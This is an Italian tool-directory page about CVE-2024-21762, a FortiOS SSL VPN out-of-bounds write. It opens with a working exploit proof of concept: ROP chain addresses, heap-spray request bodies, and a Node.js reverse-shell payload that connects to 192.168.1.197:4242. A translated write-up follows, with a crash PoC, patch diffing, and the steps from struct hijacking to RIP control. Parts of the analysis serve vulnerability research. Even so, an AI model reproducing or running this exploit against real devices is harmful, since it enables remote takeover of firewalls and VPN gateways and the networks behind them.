Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-21762 — Vulnerabilità CVE-2024-21762: scrittura fuori dai limiti in Fortinet FortiOS | Kitploit
Strumenti/GitHubGitHub/h4x0r-dz/cve-2024-21762
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebStrumento di Accesso RemotoSviluppo PayloadBinary Exploitation
GitHubh4x0r-dz/cve-2024-21762

CVE-2024-21762

Vulnerabilità CVE-2024-21762: scrittura fuori dai limiti in Fortinet FortiOS

Vedi Repository
150252 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-21762

scrittura fuori dai limiti in Fortinet FortiOS CVE-2024-21762 vulnerabilità

Exploit PoC di assetnote

root@kitploit:~

ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"

pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;

rop  = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;

rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;

rop += b"%f5%2c%e6%00%00%00%00%00" #  sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" #  add rsi, rax; mov [rdi+8], rsi; ret;

rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8

pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;

call_execl = b"%80%c1%43%00%00%00%00%00"

bin_node = b"/bin/node%00" 
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'

form_value  = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3

body = (b"B"*1808 + b"=" + form_value + b"&")*20

data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)

time.sleep(1)

ssock2 = make_sock(TARGET, PORT)

data  = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"

ssock2.sendall(data)

Vulnerabilità

A febbraio, FortiGate ha rilasciato un aggiornamento della versione, correggendo diverse vulnerabilità di media e alta gravità. Una delle vulnerabilità critiche è una vulnerabilità di scrittura fuori dai limiti non autorizzata in SSL VPN. L'avviso di vulnerabilità afferma che questa vulnerabilità potrebbe essere sfruttata in natura. Questo articolo introdurrà l'analisi dell'autore del processo di sfruttamento di questa vulnerabilità per ottenere l'esecuzione remota di codice.

image

L'ambiente utilizzato per l'analisi della vulnerabilità in questo articolo è FGT_VM64-v7.4.2.F-build2571

Diff

Confrontando i binari delle versioni riparate (7.4.2 e 7.4.3), l'analisi ha rilevato che il codice di riparazione si trova nella funzione sub_18F4980 (7.4.2).

image

Analizzando questa funzione, non è difficile scoprire che la logica di questa funzione è leggere i dati del corpo della richiesta HTTP POST. Allo stesso tempo, determina in base all'intestazione della richiesta Transfer-Encoding se leggere in formato chunk o basato su Content-Length. Secondo i risultati del confronto del grafico del flusso di controllo, ci sono due modifiche al codice:

Quando si analizza il formato chunk, chiama ap_getline per leggere la lunghezza del chunk e verifica se il valore restituito da ap_getline è maggiore di 16. Se è maggiore di 16, viene considerata una lunghezza del chunk illegale.

image

Quando si legge il trailer del chunk, l'origine dell'offset \r\n scritto è l'assegnazione di line_off, il valore di line_off prima della riparazione proviene da *(_QWORD *)(a1 + 744), mentre dopo la riparazione il valore restituito è line_off da ap_getline.

Continuando a tracciare a ritroso, *(_QWORD *)(a1 + 744) il valore che si può trovare è la lunghezza del campo lunghezza del chunk della prima verifica.

image

Continuando a tracciare a ritroso, *(_QWORD *)(a1 + 744) il valore che si può trovare è la lunghezza del campo lunghezza del chunk della prima verifica.

image

Allo stesso tempo, leggendo il codice si capisce che quando il valore del campo lunghezza del chunk è 0 dopo la decodifica hex, si entra nella logica di lettura del trailer del chunk.

Attivazione della scrittura fuori dai limiti

Dopo aver analizzato la patch, possiamo trarre le seguenti conclusioni:

  1. Quando si analizza un chunk, se il valore decodificato hex del campo lunghezza del chunk è 0, inizia a leggere il trailer del chunk.
  2. Dopo aver chiamato ap_getline per leggere il trailer del chunk, scriverà \r\n nel buffer in base alla lunghezza del campo lunghezza del chunk.

Pertanto, se molti zeri vengono passati nel campo lunghezza del chunk e la lunghezza degli zeri è maggiore di 1/2 della lunghezza rimanente del buffer, verrà attivata una scrittura fuori dai limiti di \r\n. Tramite debug, possiamo sapere che il buffer di destinazione si trova sullo stack (funzione sub_1A111E0) e l'indirizzo di ritorno è memorizzato all'offset 0x2028. Se si scrive \r\n all'offset 0x202e, si verificherà un crash a causa di un indirizzo illegale quando la funzione ritorna per eseguire l'istruzione che ripristina rip.

Crash PoC:

root@kitploit:~
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked

%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")

ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)

Scena del crash:

image

Analizzando la causa della vulnerabilità, si può vedere che la vulnerabilità può essere utilizzata per scrivere due byte \r\n fuori dai limiti sullo stack, e l'intervallo fuori dai limiti è prossimo a 0x2000. Poiché il contenuto scritto è molto limitato, non è possibile ottenere RCE dirottando direttamente rip. Pertanto, è necessario concentrarsi sul puntatore di memoria salvato sullo stack.

Tentativo fallito

Ciò che viene più facile da pensare è di dirottare rbp e sovrascrivere il byte basso di rbp in modo che rbp punti esattamente a un'area di memoria controllabile. Quando la funzione di livello superiore ritorna per eseguire l'istruzione, rip può essere completamente dirottato. Tuttavia, durante la verifica, si è scoperto che anche sovrascrivendo rbp sullo stack, rsp e rip non possono essere dirottati e il programma non si blocca nemmeno. Continuando a tracciare all'indietro, troviamo la funzione padre sub_1A111E0. Questa funzione non chiama leave per ripristinare rsp quando ritorna, ma direttamente add rsp, 0x18 e ret, quindi non può ottenere l'effetto desiderato. sub_1A26040

image

Trovare un altro punto di svolta

Come visto nella sezione precedente, la funzione sub_1A26040 salva i valori dei cinque registri rbx e r12-r15 sullo stack e ripristina questi registri quando la funzione ritorna. Continuando a tracciare all'indietro, si trova la funzione padre sub_1A27650. Si può vedere che ciò che è salvato in r13 sono esattamente i parametri a1.

a1 è un puntatore a una struttura. Tramite debug, possiamo anche vedere che un indirizzo heap è salvato sullo stack in r13

image

Se la memoria nell'area rossa nella figura viene sovrascritta dalla scrittura fuori dai limiti, allora quando la funzione ritorna, il registro r13 viene ripristinato e il valore del puntatore può essere manomesso. Se la memoria heap può essere disposta in modo che a1 punti a un'area di memoria predisposta in anticipo, allora l'intera struttura a1 può essere dirottata. Allo stesso tempo, attraverso l'analisi della logica del codice di sub_1A26040 e sub_1A27650, ci sono numerose chiamate di funzioni dinamiche dei membri della struttura a1 a più livelli, quindi ci saranno più opportunità di dirottare a1.

Dirottamento di una struttura

Secondo l'ipotesi, dopo che il byte basso del puntatore a1 viene sovrascritto da \r\n, può puntare alla memoria predisposta. Come mostrato in figura:

image

Per ottenere questo effetto, è necessario soddisfare le seguenti condizioni:

L'indirizzo della struttura a1 è superiore all'indirizzo dell'area di heap spray e il divario tra loro è molto piccolo. 0x7fxxxxxxx0a0d deve puntare alla struttura falsificata.

Tramite debug si può scoprire che la dimensione della struttura a1 è 0x730. Secondo le regole di allineamento di jemalloc, verrà allocato un blocco heap di dimensione 0x800. Il blocco heap 0x800 non è comunemente usato durante l'elaborazione delle richieste, quindi è facile esaurire i blocchi heap 0x800 in tcache, e allo stesso tempo richiedere più nuovi blocchi 0x800, in modo che possano entrare in tcache dopo il rilascio. L'heap spray sceglie anche blocchi heap di dimensioni non comuni in modo che i nuovi blocchi heap richiesti siano continui e vicini al nuovo 0x800; l'heap spray sceglie di usare blocchi heap più grandi per garantire che i loro indirizzi siano allineati con 0x800, in modo da garantire facilmente che i 12 bit inferiori di ogni indirizzo di struttura falsificata siano 0xa0d; il range di heap spray non è inferiore a 0x10000 per garantire che punti all'area di heap spray. L'effetto dopo il dirottamento è il seguente: 0x7fxxxxxxx0a0d

image

Trovare puntatori a più livelli sfruttabili

Tramite le operazioni precedenti, è possibile ottenere il dirottamento della struttura a1. Esaminando il codice della funzione sub_1A27650 e sub_1A26040, ci sono molte chiamate dinamiche al puntatore di secondo e terzo livello dei membri della struttura a1, ad esempio:

image

Quando (0<N<5) è soddisfatto, verrà chiamato dinamicamente *(__int64 (__fastcall **)(__int64))(*(_QWORD *)(*(_QWORD *)(a1 + 0x298)+0x70)+0xC0)(a1). Pertanto, il membro a1 + 0x298 deve essere falsificato per diventare un puntatore a più livelli, che infine punti alla funzione che vogliamo chiamare. Poiché il binario di destinazione non ha PIE attivato, è possibile trovare puntatori a più livelli idonei nel binario di destinazione. Analizzando il binario, si può scoprire che il primo punta all'indirizzo della GOT di system.

image

image

Pertanto, prendendo le funzioni come esempio, è possibile trovare puntatori a più livelli idonei system

image

Durante l'heap spray, modificando il valore all'offset 0x298 della struttura, è possibile utilizzare la funzione system per chiamare 0x4368d0. L'effetto è il seguente:

image

Come mostrato in figura, il parametro della chiamata dinamica è esattamente a1, e la memoria puntata è controllabile. A questo punto, è possibile utilizzare normalmente la funzione system per eseguire qualsiasi comando. Tuttavia, in FortiGate, il file /bin/sh non ha la capacità di eseguire comandi, quindi l'uso della funzione system per eseguire comandi non può essere eseguito con successo.

Dirottamento di RIP

Poiché la funzione system non può eseguire comandi, dobbiamo trovare altri modi per completare RCE. La condizione esistente è che qualsiasi funzione della GOT può essere chiamata e la memoria puntata dal primo parametro della funzione è controllabile. Pertanto, se esiste una funzione nella GOT che richiama un determinato membro del parametro, c'è la possibilità di ottenere il dirottamento di RIP. È facile pensare a funzioni che sono state spesso utilizzate in precedenti exploit di FortiGate: SSL_do_handshake

image

È sufficiente costruire la struttura SSL in modo che le condizioni siano soddisfatte e che la chiamata finale realizzi il dirottamento di rip, dirottando rip verso 0xdeadbeef come mostrato nella figura: s->handshake_func(s)

image

Il programma principale di FortiGate è un binario All-in-One con una dimensione superiore a 70MB. Ci sono un gran numero di gadget utilizzabili. Non è difficile implementare RCE usando ROP, quindi non entrerò nei dettagli.

Demo:

Sebbene la modalità web sia disabilitata per impostazione predefinita in SSL VPN versione 7.4.2 e l'accesso al browser restituisca 403, questa vulnerabilità può comunque essere sfruttata nella configurazione predefinita.

ezgif-6-c1d88c0511

Questa vulnerabilità è simile alla vulnerabilità di heap overflow causata da XOR dello scorso anno CVE-2023-27997. Sono entrambe vulnerabilità di overflow apparentemente inutili. Il processo di sfruttamento è più complesso e assomiglia più a una domanda CTF. Tuttavia, rispetto ai tradizionali problemi CTF che attaccano il gestore dell'heap, le vulnerabilità reali richiedono più strutture di contesto e logica di codice per essere sfruttate. Il livello dell'autore è limitato. Se ci sono errori, per favore correggetemi.

Post originale in cinese: https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247484811&idx=1&sn=2e0407a32ba0c2925d6d857f4cdf7cbb&chksm=c3571307f4209a110d6b28cea9fe59ac0f0a2079c998a682e919860f397ea647fa0794933906&mpshare=1&scene=1&srcid=0313EaETjGzEAvOdByUt6ovU#rd

Scarica lo strumento